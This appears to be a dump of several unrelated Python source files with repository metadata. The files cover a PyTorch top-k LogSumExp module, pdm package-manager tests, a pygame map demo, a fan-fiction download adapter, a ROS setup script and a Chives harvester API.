import torch import torch.nn as nn import torch.autograd as ag from topk.polynomial.divide_conquer import divide_and_conquer from topk.polynomial.multiplication import Multiplication from topk.polynomial.grad import d_logS_d_expX class LogSumExp(nn.Module): def __init__(self, k, p=None, thresh=1e-5): super(LogSumExp, self).__init__() self.k = k self.p = int(1 + 0.2 * k) if p is None else p self.thresh = thresh self.mul = Multiplication(self.k + self.p - 1) self.register_buffer('grad_k', torch.Tensor(0)) self.register_buffer('grad_km1', torch.Tensor(0)) def forward(self, x): return LogSumExpNew_F.apply( x, self.k, self.p, self.thresh, self.grad_km1, self.grad_k, self.mul ) class LogSumExpNew_F(ag.Function): @staticmethod def forward(ctx, x, k, p, thresh, grad_km1, grad_k, mul): """ Returns a matrix of size (2, n_samples) with sigma_{k-1} and sigma_{k} for each sample of the mini-batch. """ ctx.k = k ctx.p = p ctx.thresh = thresh ctx.grad_km1 = grad_km1 ctx.grad_k = grad_k ctx.save_for_backward(x) # number of samples and number of coefficients to compute n_s = x.size(0) kp = k + p - 1 assert kp <= x.size(1) # clone to allow in-place operations x = x.clone() # pre-compute normalization x_summed = x.sum(1) # invert in log-space x.t_().mul_(-1) # initialize polynomials (in log-space) x = [x, x.clone().fill_(0)] # polynomial multiplications log_res = divide_and_conquer(x, kp, mul=mul) # re-normalize coeff = log_res + x_summed[None, :] # avoid broadcasting issues (in particular if n_s = 1) coeff = coeff.view(kp + 1, n_s) # save all coeff for backward ctx.saved_coeff = coeff return coeff[k - 1: k + 1] @staticmethod def backward(ctx, grad_sk): """ Compute backward pass of LogSumExp. Python variables with an upper case first letter are in log-space, other are in standard space. """ # tensors from forward pass X, = ctx.saved_tensors S = ctx.saved_coeff k = ctx.k p = ctx.p grad_km1 = ctx.grad_km1 grad_k = ctx.grad_k thresh = ctx.thresh # extend to shape (ctx.k + 1, n_samples, n_classes) for backward S = S.unsqueeze(2).expand(S.size(0), X.size(0), X.size(1)) # compute gradients for coeff of degree k and k - 1 grad_km1 = d_logS_d_expX(S, X, k - 1, p, grad_km1, thresh) grad_k = d_logS_d_expX(S, X, k, p, grad_k, thresh) # chain rule: combine with incoming gradients (broadcast to all classes on third dim) grad_x = grad_sk[0, :, None] * grad_km1 + grad_sk[1, :, None] * grad_k ctx.grad_km1 = grad_km1 ctx.grad_k = grad_k return grad_x, None, None, None, None, None, None def log_sum_exp(x): """ Compute log(sum(exp(x), 1)) in a numerically stable way. Assumes x is 2d. """ max_score, _ = x.max(1) return max_score + torch.log(torch.sum(torch.exp(x - max_score[:, None]), 1)) def log_sum_exp_k_autograd(x, k): # number of samples and number of coefficients to compute n_s = x.size(0) assert k <= x.size(1) # clone to allow in-place operations x = x.clone() # pre-compute normalization x_summed = x.sum(1) # invert in log-space x.t_().mul_(-1) # initialize polynomials (in log-space) x = [x, x.clone().fill_(0)] # polynomial mulitplications log_res = divide_and_conquer(x, k, mul=Multiplication(k)) # re-normalize coeff = log_res + x_summed[None, :] # avoid broadcasting issues (in particular if n_s = 1) coeff = coeff.view(k + 1, n_s) return coeff[k - 1: k + 1]

27.068027

93

0.597135

ace8ec943ff987d21fe4479f9bcf27bf5aab9d24

10,397

py

Python

tests/cli/test_add.py

julie777/pdm

a6029ca02105d79da4841c701edf73f7315f74eb

[ "MIT" ]

1

2022-03-02T19:43:46.000Z

tests/cli/test_add.py

julie777/pdm

a6029ca02105d79da4841c701edf73f7315f74eb

[ "MIT" ]

1

2022-03-20T07:36:27.000Z

tests/cli/test_add.py

julie777/pdm

a6029ca02105d79da4841c701edf73f7315f74eb

[ "MIT" ]

null

import shutil from pathlib import Path import pytest from pdm.cli import actions from pdm.models.pip_shims import Link from pdm.models.specifiers import PySpecSet from tests import FIXTURES @pytest.mark.usefixtures("repository") def test_add_package(project, working_set, is_dev): actions.do_add(project, is_dev, packages=["requests"]) group = ( project.tool_settings["dev-dependencies"]["dev"] if is_dev else project.meta["dependencies"] ) assert group[0] == "requests~=2.19" locked_candidates = project.locked_repository.all_candidates assert locked_candidates["idna"].version == "2.7" for package in ("requests", "idna", "chardet", "urllib3", "certifi"): assert package in working_set def test_add_command(project, invoke, mocker): do_add = mocker.patch.object(actions, "do_add") invoke(["add", "requests"], obj=project) do_add.assert_called_once() @pytest.mark.usefixtures("repository") def test_add_package_to_custom_group(project, working_set): actions.do_add(project, group="test", packages=["requests"]) assert "requests" in project.meta.optional_dependencies["test"][0] locked_candidates = project.locked_repository.all_candidates assert locked_candidates["idna"].version == "2.7" for package in ("requests", "idna", "chardet", "urllib3", "certifi"): assert package in working_set @pytest.mark.usefixtures("repository") def test_add_package_to_custom_dev_group(project, working_set): actions.do_add(project, dev=True, group="test", packages=["requests"]) dependencies = project.tool_settings["dev-dependencies"]["test"] assert "requests" in dependencies[0] locked_candidates = project.locked_repository.all_candidates assert locked_candidates["idna"].version == "2.7" for package in ("requests", "idna", "chardet", "urllib3", "certifi"): assert package in working_set @pytest.mark.usefixtures("repository", "vcs") def test_add_editable_package(project, working_set, is_dev): # Ensure that correct python version is used. project.environment.python_requires = PySpecSet(">=3.6") actions.do_add(project, is_dev, packages=["demo"]) actions.do_add( project, is_dev, editables=["git+https://github.com/test-root/demo.git#egg=demo"], ) group = ( project.tool_settings["dev-dependencies"]["dev"] if is_dev else project.meta["dependencies"] ) assert "demo" in group[0] assert "-e git+https://github.com/test-root/demo.git#egg=demo" in group[1] locked_candidates = project.locked_repository.all_candidates assert ( locked_candidates["demo"].prepare(project.environment).revision == "1234567890abcdef" ) assert locked_candidates["idna"].version == "2.7" assert "idna" in working_set actions.do_sync(project, no_editable=True) assert not working_set["demo"].link_file @pytest.mark.usefixtures("repository", "vcs") def test_editable_package_override_non_editable(project, working_set): project.environment.python_requires = PySpecSet(">=3.6") actions.do_add( project, packages=["git+https://github.com/test-root/demo.git#egg=demo"] ) actions.do_add( project, editables=["git+https://github.com/test-root/demo.git#egg=demo"], ) assert working_set["demo"].link_file @pytest.mark.usefixtures("repository", "working_set") def test_add_remote_package_url(project, is_dev): project.environment.python_requires = PySpecSet(">=3.6") actions.do_add( project, is_dev, packages=["http://fixtures.test/artifacts/demo-0.0.1-py2.py3-none-any.whl"], ) group = ( project.tool_settings["dev-dependencies"]["dev"] if is_dev else project.meta["dependencies"] ) assert ( group[0] == "demo @ http://fixtures.test/artifacts/demo-0.0.1-py2.py3-none-any.whl" ) @pytest.mark.usefixtures("repository") def test_add_no_install(project, working_set): actions.do_add(project, sync=False, packages=["requests"]) for package in ("requests", "idna", "chardet", "urllib3", "certifi"): assert package not in working_set @pytest.mark.usefixtures("repository") def test_add_package_save_exact(project): actions.do_add(project, sync=False, save="exact", packages=["requests"]) assert project.meta.dependencies[0] == "requests==2.19.1" @pytest.mark.usefixtures("repository") def test_add_package_save_wildcard(project): actions.do_add(project, sync=False, save="wildcard", packages=["requests"]) assert project.meta.dependencies[0] == "requests" @pytest.mark.usefixtures("repository") def test_add_package_save_minimum(project): actions.do_add(project, sync=False, save="minimum", packages=["requests"]) assert project.meta.dependencies[0] == "requests>=2.19.1" def test_add_package_update_reuse(project, repository): actions.do_add(project, sync=False, save="wildcard", packages=["requests", "pytz"]) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["requests"].version == "2.19.1" assert locked_candidates["chardet"].version == "3.0.4" assert locked_candidates["pytz"].version == "2019.3" repository.add_candidate("pytz", "2019.6") repository.add_candidate("chardet", "3.0.5") repository.add_candidate("requests", "2.20.0") repository.add_dependencies( "requests", "2.20.0", [ "certifi>=2017.4.17", "chardet<3.1.0,>=3.0.2", "idna<2.8,>=2.5", "urllib3<1.24,>=1.21.1", ], ) actions.do_add( project, sync=False, save="wildcard", packages=["requests"], strategy="reuse" ) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["requests"].version == "2.20.0" assert locked_candidates["chardet"].version == "3.0.4" assert locked_candidates["pytz"].version == "2019.3" def test_add_package_update_eager(project, repository): actions.do_add(project, sync=False, save="wildcard", packages=["requests", "pytz"]) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["requests"].version == "2.19.1" assert locked_candidates["chardet"].version == "3.0.4" assert locked_candidates["pytz"].version == "2019.3" repository.add_candidate("pytz", "2019.6") repository.add_candidate("chardet", "3.0.5") repository.add_candidate("requests", "2.20.0") repository.add_dependencies( "requests", "2.20.0", [ "certifi>=2017.4.17", "chardet<3.1.0,>=3.0.2", "idna<2.8,>=2.5", "urllib3<1.24,>=1.21.1", ], ) actions.do_add( project, sync=False, save="wildcard", packages=["requests"], strategy="eager" ) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["requests"].version == "2.20.0" assert locked_candidates["chardet"].version == "3.0.5" assert locked_candidates["pytz"].version == "2019.3" @pytest.mark.usefixtures("repository") def test_add_package_with_mismatch_marker(project, working_set, mocker): mocker.patch( "pdm.models.environment.get_pep508_environment", return_value={"platform_system": "Darwin"}, ) actions.do_add(project, packages=["requests", "pytz; platform_system!='Darwin'"]) assert "pytz" not in working_set @pytest.mark.usefixtures("repository") def test_add_dependency_from_multiple_parents(project, working_set, mocker): mocker.patch( "pdm.models.environment.get_pep508_environment", return_value={"platform_system": "Darwin"}, ) actions.do_add(project, packages=["requests", "chardet; platform_system!='Darwin'"]) assert "chardet" in working_set @pytest.mark.usefixtures("repository") def test_add_packages_without_self(project, working_set): project.environment.python_requires = PySpecSet(">=3.6") actions.do_add(project, packages=["requests"], no_self=True) assert project.meta.name not in working_set @pytest.mark.usefixtures("repository", "working_set") def test_add_package_unconstrained_rewrite_specifier(project): project.environment.python_requires = PySpecSet(">=3.6") actions.do_add(project, packages=["django"], no_self=True) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["django"].version == "2.2.9" assert project.meta.dependencies[0] == "django~=2.2" actions.do_add( project, packages=["django-toolbar"], no_self=True, unconstrained=True ) locked_candidates = project.locked_repository.all_candidates assert locked_candidates["django"].version == "1.11.8" assert project.meta.dependencies[0] == "django~=1.11" @pytest.mark.usefixtures("repository", "working_set", "vcs") def test_add_cached_vcs_requirement(project, mocker): project.environment.python_requires = PySpecSet(">=3.6") url = "git+https://github.com/test-root/demo.git@1234567890abcdef#egg=demo" built_path = FIXTURES / "artifacts/demo-0.0.1-py2.py3-none-any.whl" wheel_cache = project.make_wheel_cache() cache_path = Path(wheel_cache.get_path_for_link(Link(url))) if not cache_path.exists(): cache_path.mkdir(parents=True) shutil.copy2(built_path, cache_path) downloader = mocker.patch("pdm.models.pip_shims.unpack_url") builder = mocker.patch("pdm.builders.WheelBuilder.build") actions.do_add(project, packages=[url], no_self=True) lockfile_entry = next(p for p in project.lockfile["package"] if p["name"] == "demo") assert lockfile_entry["revision"] == "1234567890abcdef" downloader.assert_not_called() builder.assert_not_called() @pytest.mark.usefixtures("repository") def test_add_with_dry_run(project, capsys): actions.do_add(project, dry_run=True, packages=["requests"]) out, _ = capsys.readouterr() assert not project.get_dependencies() assert "requests 2.19.1" in out assert "urllib3 1.22" in out @pytest.mark.usefixtures("repository") def test_add_with_prerelease(project, working_set): actions.do_add(project, packages=["urllib3"], prerelease=True) assert working_set["urllib3"].version == "1.23b0" assert project.meta.dependencies[0] == "urllib3<2,>=1.23b0"

37.265233

88

0.697413

ace8eca1dd87624d63dbe8759de5ead3208e13b8

1,689

py

Python

pygame_draw_state.py

sd16spring/us_map

683290cf7838225a9323ef1c375ac3b535edca1b

[ "MIT" ]

null

pygame_draw_state.py

sd16spring/us_map

683290cf7838225a9323ef1c375ac3b535edca1b

[ "MIT" ]

null

pygame_draw_state.py

sd16spring/us_map

683290cf7838225a9323ef1c375ac3b535edca1b

[ "MIT" ]

null

"""Sample code for `us_map.py`. Author: Oliver Steele <oliver.steele@olin.edu> License: MIT Requirements: sudo pip install BeautifulSoup sudo pip install matplotlib sudo pip install svg.path """ import pygame import sys import matplotlib.path import us_map # Colors WHITE = (255, 255, 255) BLACK = (0, 0, 0) BLUE = (0, 0, 255) GREEN = (0, 255, 0) GRAY = (127, 127, 127) LIGHT_GRAY = (191, 191, 191) STATE = 'CO' width, height = 640, 480 pygame.init() screen = pygame.display.set_mode((width, height)) screen.fill(WHITE) def point_in_polygon(pt, polygon): """Returns True iff `pt` is inside `polygon`. `polygon` is a list of tuples `(x, y)`.""" return matplotlib.path.Path(polygon).contains_point(pt) # Draw the polygons for the state. for polygon in us_map.states[STATE]: # `polygon` points are tuples `(float, float)`. PyGame requires `(int, int)`. points = [(int(x), int(y)) for x, y in polygon] # Draw the interior pygame.draw.polygon(screen, BLUE, points) # Draw the boundary pygame.draw.polygon(screen, BLACK, points, 1) pygame.display.flip() last_mouse_in_state = False while True: if any(event.type == pygame.QUIT for event in pygame.event.get()): sys.exit() # Is the mouse inside the state? mouse_in_state = any(point_in_polygon(pygame.mouse.get_pos(), polygon) for polygon in us_map.states[STATE]) # Only print a message if the mouse moved from the inside to the outside, or vice versa if mouse_in_state != last_mouse_in_state: last_mouse_in_state = mouse_in_state if mouse_in_state: print 'mouse in state' else: print 'mouse not in state'

25.208955

111

0.676732

ace8eca2038c34dcc8247d52cce452708f860fbd

8,169

py

Python

fanficfare/adapters/adapter_bloodshedversecom.py

smutandrea/FanFicFare

56e91c1f73bd2444d7cf7adea9975b169692657d

[ "Apache-2.0" ]

1

2020-08-27T03:49:02.000Z

fanficfare/adapters/adapter_bloodshedversecom.py

Hypernoc/FanFicFare

869ed37137c82cd71ec589f36bc2001528d5e76c

[ "Apache-2.0" ]

null

fanficfare/adapters/adapter_bloodshedversecom.py

Hypernoc/FanFicFare

869ed37137c82cd71ec589f36bc2001528d5e76c

[ "Apache-2.0" ]

null

from __future__ import absolute_import from datetime import timedelta import re import logging logger = logging.getLogger(__name__) from bs4 import BeautifulSoup from ..htmlcleanup import stripHTML # py2 vs py3 transition from ..six import text_type as unicode from ..six.moves.urllib import parse as urlparse from ..six.moves.urllib.error import HTTPError from .base_adapter import BaseSiteAdapter, makeDate from .. import exceptions def getClass(): return BloodshedverseComAdapter def _get_query_data(url): components = urlparse.urlparse(url) query_data = urlparse.parse_qs(components.query) return dict((key, data[0]) for key, data in query_data.items()) class BloodshedverseComAdapter(BaseSiteAdapter): SITE_ABBREVIATION = 'bvc' SITE_DOMAIN = 'bloodshedverse.com' BASE_URL = 'https://' + SITE_DOMAIN + '/' READ_URL_TEMPLATE = BASE_URL + 'stories.php?go=read&no=%s' STARTED_DATETIME_FORMAT = '%m/%d/%Y' UPDATED_DATETIME_FORMAT = '%m/%d/%Y %I:%M %p' def __init__(self, config, url): BaseSiteAdapter.__init__(self, config, url) query_data = urlparse.parse_qs(self.parsedUrl.query) story_no = query_data['no'][0] self.story.setMetadata('storyId', story_no) self._setURL(self.READ_URL_TEMPLATE % story_no) self.story.setMetadata('siteabbrev', self.SITE_ABBREVIATION) def _customized_fetch_url(self, url, exception=None, parameters=None): if exception: try: data = self._fetchUrl(url, parameters) except HTTPError: raise exception(self.url) # Just let self._fetchUrl throw the exception, don't catch and # customize it. else: data = self._fetchUrl(url, parameters) return self.make_soup(data) @staticmethod def getSiteDomain(): return BloodshedverseComAdapter.SITE_DOMAIN @classmethod def getSiteExampleURLs(cls): return cls.READ_URL_TEMPLATE % 1234 def getSiteURLPattern(self): return r'https?://' + re.escape(self.SITE_DOMAIN + '/stories.php?go=') + r'(read|chapters)\&(amp;)?no=\d+$' # Override stripURLParameters so the "no" parameter won't get stripped @classmethod def stripURLParameters(cls, url): return url def extractChapterUrlsAndMetadata(self): logger.debug("URL: "+self.url) soup = self._customized_fetch_url(self.url) # Since no 404 error code we have to raise the exception ourselves. # A title that is just 'by' indicates that there is no author name # and no story title available. if stripHTML(soup.title) == 'by': raise exceptions.StoryDoesNotExist(self.url) for option in soup.find('select', {'name': 'chapter'}): title = stripHTML(option) url = self.READ_URL_TEMPLATE % option['value'] self.add_chapter(title, url) # Reset the storyId to be the first chapter no. Needed # because emails contain link to later chapters instead. query_data = urlparse.parse_qs(self.get_chapter(0,'url')) story_no = query_data['no'][0] self.story.setMetadata('storyId', story_no) self._setURL(self.READ_URL_TEMPLATE % story_no) logger.info("updated storyId:%s"%story_no) logger.info("updated storyUrl:%s"%self.url) story_no = self.story.getMetadata('storyId') # Get the URL to the author's page and find the correct story entry to # scrape the metadata author_url = urlparse.urljoin(self.url, soup.find('a', {'class': 'headline'})['href']) soup = self._customized_fetch_url(author_url) # Ignore first list_box div, it only contains the author information for list_box in soup('div', {'class': 'list_box'})[1:]: url = list_box.find('a', {'class': 'fictitle'})['href'] query_data = _get_query_data(url) # Found the div containing the story's metadata; break the loop and # parse the element if query_data['no'] == story_no: break else: raise exceptions.FailedToDownload(self.url) title_anchor = list_box.find('a', {'class': 'fictitle'}) self.story.setMetadata('title', stripHTML(title_anchor)) author_anchor = title_anchor.findNextSibling('a') self.story.setMetadata('author', stripHTML(author_anchor)) self.story.setMetadata('authorId', _get_query_data(author_anchor['href'])['who']) self.story.setMetadata('authorUrl', urlparse.urljoin(self.url, author_anchor['href'])) list_review = list_box.find('div', {'class': 'list_review'}) reviews = stripHTML(list_review.a).split(' ', 1)[0] self.story.setMetadata('reviews', reviews) summary_div = list_box.find('div', {'class': 'list_summary'}) if not self.getConfig('keep_summary_html'): summary = ''.join(summary_div(text=True)) else: summary = self.utf8FromSoup(author_url, summary_div) self.story.setMetadata('description', summary) # I'm assuming this to be the category, not sure what else it could be first_listinfo = list_box.find('div', {'class': 'list_info'}) self.story.addToList('category', stripHTML(first_listinfo.a)) for list_info in first_listinfo.findNextSiblings('div', {'class': 'list_info'}): for b_tag in list_info('b'): key = b_tag.string.strip(': ') # Strip colons from the beginning, superfluous spaces and minus # characters from the end, and possibly trailing commas from # the warnings if only one is present value = b_tag.nextSibling.string.strip(': -,') if key == 'Genre': for genre in value.split(', '): # Ignore the "none" genre if not genre == 'none': self.story.addToList('genre', genre) elif key == 'Rating': self.story.setMetadata('rating', value) elif key == 'Complete': self.story.setMetadata('status', 'Completed' if value == 'Yes' else 'In-Progress') elif key == 'Warning': for warning in value.split(', '): # The string here starts with ", " before the actual list # of values sometimes, so check for an empty warning # and ignore the "none" warning. if not warning or warning == 'none': continue self.story.addToList('warnings', warning) elif key == 'Chapters': self.story.setMetadata('numChapters', int(value)) elif key == 'Words': # Apparently only numChapters need to be an integer for # some strange reason. Remove possible ',' characters as to # not confuse the codebase down the line self.story.setMetadata('numWords', value.replace(',', '')) elif key == 'Started': self.story.setMetadata('datePublished', makeDate(value, self.STARTED_DATETIME_FORMAT)) elif key == 'Updated': date = makeDate(value, self.UPDATED_DATETIME_FORMAT) # ugly %p(am/pm) hack moved into makeDate so other sites can use it. self.story.setMetadata('dateUpdated', date) if self.story.getMetadata('rating') == 'NC-17' and not (self.is_adult or self.getConfig('is_adult')): raise exceptions.AdultCheckRequired(self.url) def getChapterText(self, url): soup = self._customized_fetch_url(url) storytext_div = soup.find('div', {'class': 'storytext'}) if self.getConfig('strip_text_links'): for anchor in storytext_div('a', {'class': 'FAtxtL'}): anchor.replaceWith(anchor.string) return self.utf8FromSoup(url, storytext_div)

39.84878

115

0.611948

ace8ed2b834e77636a17ad0ec1d29f39b10e5f67

103

py

Python

uniseg/version.py

olivier-compilatio/uniseg-python

8513a59e9c701a173c8001655e592c18f8840b16

[ "MIT" ]

2

2019-12-28T09:28:43.000Z

2021-05-11T02:01:47.000Z

uniseg/version.py

olivier-compilatio/uniseg-python

8513a59e9c701a173c8001655e592c18f8840b16

[ "MIT" ]

null

uniseg/version.py

olivier-compilatio/uniseg-python

8513a59e9c701a173c8001655e592c18f8840b16

[ "MIT" ]

2

2019-07-23T09:11:55.000Z

2019-10-02T17:13:53.000Z

# NOTE: This file must not contain anything but the string literal of the # software version! '0.7.1'

25.75

74

0.737864

ace8ee8c4e1a508a65535615f261da5cab1935fa

240

py

Python

movo_common/movo_third_party/executive_smach_visualization/smach_viewer/setup.py

zkytony/kinova-movo

37d7454b2dc589d44133f3913f567b9cc321a66d

[ "BSD-3-Clause" ]

4

2021-01-23T18:35:43.000Z

2021-12-26T09:03:53.000Z

movo_common/movo_third_party/executive_smach_visualization/smach_viewer/setup.py

ALAN-NUS/kinova_movo

05a0451f5c563359ae0ffe3280e1df85caec9e55

[ "BSD-3-Clause" ]

null

movo_common/movo_third_party/executive_smach_visualization/smach_viewer/setup.py

ALAN-NUS/kinova_movo

05a0451f5c563359ae0ffe3280e1df85caec9e55

[ "BSD-3-Clause" ]

1

2020-01-21T11:05:24.000Z

#!/usr/bin/env python from distutils.core import setup from catkin_pkg.python_setup import generate_distutils_setup d = generate_distutils_setup( packages=['smach_viewer', 'smach_viewer.xdot'], package_dir={'': 'src'} ) setup(**d)

20

60

0.75

ace8eef7b4cd0f1607cfe12ec5e2515660e32dfe

14,452

py

Python

chives/harvester/harvester_api.py

zcomputerwiz/chives-light-wallet

b5f57f46bf4f804cc06a6e2bdf8cbde41bba2fe0

[ "Apache-2.0" ]

null

chives/harvester/harvester_api.py

zcomputerwiz/chives-light-wallet

b5f57f46bf4f804cc06a6e2bdf8cbde41bba2fe0

[ "Apache-2.0" ]

null

chives/harvester/harvester_api.py

zcomputerwiz/chives-light-wallet

b5f57f46bf4f804cc06a6e2bdf8cbde41bba2fe0

[ "Apache-2.0" ]

1

2022-03-20T16:19:04.000Z

import asyncio import time from pathlib import Path from typing import Callable, List, Tuple from blspy import AugSchemeMPL, G2Element, G1Element from chives.consensus.pot_iterations import calculate_iterations_quality, calculate_sp_interval_iters from chives.harvester.harvester import Harvester from chives.plotting.util import PlotInfo, parse_plot_info from chives.protocols import harvester_protocol from chives.protocols.farmer_protocol import FarmingInfo from chives.protocols.harvester_protocol import Plot from chives.protocols.protocol_message_types import ProtocolMessageTypes from chives.server.outbound_message import make_msg from chives.server.ws_connection import WSChivesConnection from chives.types.blockchain_format.proof_of_space import ProofOfSpace from chives.types.blockchain_format.sized_bytes import bytes32 from chives.util.api_decorators import api_request, peer_required from chives.util.ints import uint8, uint32, uint64 from chives.wallet.derive_keys import master_sk_to_local_sk class HarvesterAPI: harvester: Harvester def __init__(self, harvester: Harvester): self.harvester = harvester def _set_state_changed_callback(self, callback: Callable): self.harvester.state_changed_callback = callback @api_request async def harvester_handshake(self, harvester_handshake: harvester_protocol.HarvesterHandshake): """ Handshake between the harvester and farmer. The harvester receives the pool public keys, as well as the farmer pks, which must be put into the plots, before the plotting process begins. We cannot use any plots which have different keys in them. """ self.harvester.plot_manager.set_public_keys( harvester_handshake.farmer_public_keys, harvester_handshake.pool_public_keys ) self.harvester.plot_manager.start_refreshing() @peer_required @api_request async def new_signage_point_harvester( self, new_challenge: harvester_protocol.NewSignagePointHarvester, peer: WSChivesConnection ): """ The harvester receives a new signage point from the farmer, this happens at the start of each slot. The harvester does a few things: 1. The harvester applies the plot filter for each of the plots, to select the proportion which are eligible for this signage point and challenge. 2. The harvester gets the qualities for each plot. This is approximately 7 reads per plot which qualifies. Note that each plot may have 0, 1, 2, etc qualities for that challenge: but on average it will have 1. 3. Checks the required_iters for each quality and the given signage point, to see which are eligible for inclusion (required_iters < sp_interval_iters). 4. Looks up the full proof of space in the plot for each quality, approximately 64 reads per quality 5. Returns the proof of space to the farmer """ if not self.harvester.plot_manager.public_keys_available(): # This means that we have not received the handshake yet return None start = time.time() assert len(new_challenge.challenge_hash) == 32 loop = asyncio.get_running_loop() def blocking_lookup(filename: Path, plot_info: PlotInfo) -> List[Tuple[bytes32, ProofOfSpace]]: # Uses the DiskProver object to lookup qualities. This is a blocking call, # so it should be run in a thread pool. try: plot_id = plot_info.prover.get_id() sp_challenge_hash = ProofOfSpace.calculate_pos_challenge( plot_id, new_challenge.challenge_hash, new_challenge.sp_hash, ) try: quality_strings = plot_info.prover.get_qualities_for_challenge(sp_challenge_hash) except Exception as e: self.harvester.log.error(f"Error using prover object {e}") self.harvester.log.error( f"File: {filename} Plot ID: {plot_id.hex()}, " f"challenge: {sp_challenge_hash}, plot_info: {plot_info}" ) return [] responses: List[Tuple[bytes32, ProofOfSpace]] = [] if quality_strings is not None: difficulty = new_challenge.difficulty sub_slot_iters = new_challenge.sub_slot_iters if plot_info.pool_contract_puzzle_hash is not None: # If we are pooling, override the difficulty and sub slot iters with the pool threshold info. # This will mean more proofs actually get found, but they are only submitted to the pool, # not the blockchain for pool_difficulty in new_challenge.pool_difficulties: if pool_difficulty.pool_contract_puzzle_hash == plot_info.pool_contract_puzzle_hash: difficulty = pool_difficulty.difficulty sub_slot_iters = pool_difficulty.sub_slot_iters # Found proofs of space (on average 1 is expected per plot) for index, quality_str in enumerate(quality_strings): required_iters: uint64 = calculate_iterations_quality( self.harvester.constants.DIFFICULTY_CONSTANT_FACTOR, quality_str, plot_info.prover.get_size(), difficulty, new_challenge.sp_hash, ) sp_interval_iters = calculate_sp_interval_iters(self.harvester.constants, sub_slot_iters) if required_iters < sp_interval_iters: # Found a very good proof of space! will fetch the whole proof from disk, # then send to farmer try: proof_xs = plot_info.prover.get_full_proof( sp_challenge_hash, index, self.harvester.parallel_read ) except Exception as e: self.harvester.log.error(f"Exception fetching full proof for {filename}. {e}") self.harvester.log.error( f"File: {filename} Plot ID: {plot_id.hex()}, challenge: {sp_challenge_hash}, " f"plot_info: {plot_info}" ) continue responses.append( ( quality_str, ProofOfSpace( sp_challenge_hash, plot_info.pool_public_key, plot_info.pool_contract_puzzle_hash, plot_info.plot_public_key, uint8(plot_info.prover.get_size()), proof_xs, ), ) ) return responses except Exception as e: self.harvester.log.error(f"Unknown error: {e}") return [] async def lookup_challenge( filename: Path, plot_info: PlotInfo ) -> Tuple[Path, List[harvester_protocol.NewProofOfSpace]]: # Executes a DiskProverLookup in a thread pool, and returns responses all_responses: List[harvester_protocol.NewProofOfSpace] = [] if self.harvester._is_shutdown: return filename, [] proofs_of_space_and_q: List[Tuple[bytes32, ProofOfSpace]] = await loop.run_in_executor( self.harvester.executor, blocking_lookup, filename, plot_info ) for quality_str, proof_of_space in proofs_of_space_and_q: all_responses.append( harvester_protocol.NewProofOfSpace( new_challenge.challenge_hash, new_challenge.sp_hash, quality_str.hex() + str(filename.resolve()), proof_of_space, new_challenge.signage_point_index, ) ) return filename, all_responses awaitables = [] passed = 0 total = 0 with self.harvester.plot_manager: for try_plot_filename, try_plot_info in self.harvester.plot_manager.plots.items(): try: if try_plot_filename.exists(): # Passes the plot filter (does not check sp filter yet though, since we have not reached sp) # This is being executed at the beginning of the slot total += 1 if ProofOfSpace.passes_plot_filter( self.harvester.constants, try_plot_info.prover.get_id(), new_challenge.challenge_hash, new_challenge.sp_hash, ): passed += 1 awaitables.append(lookup_challenge(try_plot_filename, try_plot_info)) except Exception as e: self.harvester.log.error(f"Error plot file {try_plot_filename} may no longer exist {e}") # Concurrently executes all lookups on disk, to take advantage of multiple disk parallelism total_proofs_found = 0 for filename_sublist_awaitable in asyncio.as_completed(awaitables): filename, sublist = await filename_sublist_awaitable time_taken = time.time() - start if time_taken > 5: self.harvester.log.warning( f"Looking up qualities on {filename} took: {time_taken}. This should be below 5 seconds " f"to minimize risk of losing rewards." ) else: pass # If you want additional logs, uncomment the following line # self.harvester.log.debug(f"Looking up qualities on {filename} took: {time_taken}") for response in sublist: total_proofs_found += 1 msg = make_msg(ProtocolMessageTypes.new_proof_of_space, response) await peer.send_message(msg) now = uint64(int(time.time())) farming_info = FarmingInfo( new_challenge.challenge_hash, new_challenge.sp_hash, now, uint32(passed), uint32(total_proofs_found), uint32(total), ) pass_msg = make_msg(ProtocolMessageTypes.farming_info, farming_info) await peer.send_message(pass_msg) self.harvester.log.info( f"{len(awaitables)} plots were eligible for farming {new_challenge.challenge_hash.hex()[:10]}..." f" Found {total_proofs_found} proofs. Time: {time.time() - start:.5f} s. " f"Total {self.harvester.plot_manager.plot_count()} plots" ) @api_request async def request_signatures(self, request: harvester_protocol.RequestSignatures): """ The farmer requests a signature on the header hash, for one of the proofs that we found. A signature is created on the header hash using the harvester private key. This can also be used for pooling. """ plot_filename = Path(request.plot_identifier[64:]).resolve() with self.harvester.plot_manager: try: plot_info = self.harvester.plot_manager.plots[plot_filename] except KeyError: self.harvester.log.warning(f"KeyError plot {plot_filename} does not exist.") return None # Look up local_sk from plot to save locked memory ( pool_public_key_or_puzzle_hash, farmer_public_key, local_master_sk, ) = parse_plot_info(plot_info.prover.get_memo()) local_sk = master_sk_to_local_sk(local_master_sk) if isinstance(pool_public_key_or_puzzle_hash, G1Element): include_taproot = False else: assert isinstance(pool_public_key_or_puzzle_hash, bytes32) include_taproot = True agg_pk = ProofOfSpace.generate_plot_public_key(local_sk.get_g1(), farmer_public_key, include_taproot) # This is only a partial signature. When combined with the farmer's half, it will # form a complete PrependSignature. message_signatures: List[Tuple[bytes32, G2Element]] = [] for message in request.messages: signature: G2Element = AugSchemeMPL.sign(local_sk, message, agg_pk) message_signatures.append((message, signature)) response: harvester_protocol.RespondSignatures = harvester_protocol.RespondSignatures( request.plot_identifier, request.challenge_hash, request.sp_hash, local_sk.get_g1(), farmer_public_key, message_signatures, ) return make_msg(ProtocolMessageTypes.respond_signatures, response) @api_request async def request_plots(self, _: harvester_protocol.RequestPlots): plots_response = [] plots, failed_to_open_filenames, no_key_filenames = self.harvester.get_plots() for plot in plots: plots_response.append( Plot( plot["filename"], plot["size"], plot["plot_id"], plot["pool_public_key"], plot["pool_contract_puzzle_hash"], plot["plot_public_key"], plot["file_size"], plot["time_modified"], ) ) response = harvester_protocol.RespondPlots(plots_response, failed_to_open_filenames, no_key_filenames) return make_msg(ProtocolMessageTypes.respond_plots, response)

48.824324

117

0.590991

ace8eefd93cf2c2299e5a2aca3aac6b3a99efd10

262

py

Python

norden/norden/doctype/ds_smart_analytics/ds_smart_analytics.py

thispl/norden

2a208056e948cae42da688e28c15024124254867

[ "MIT" ]

null

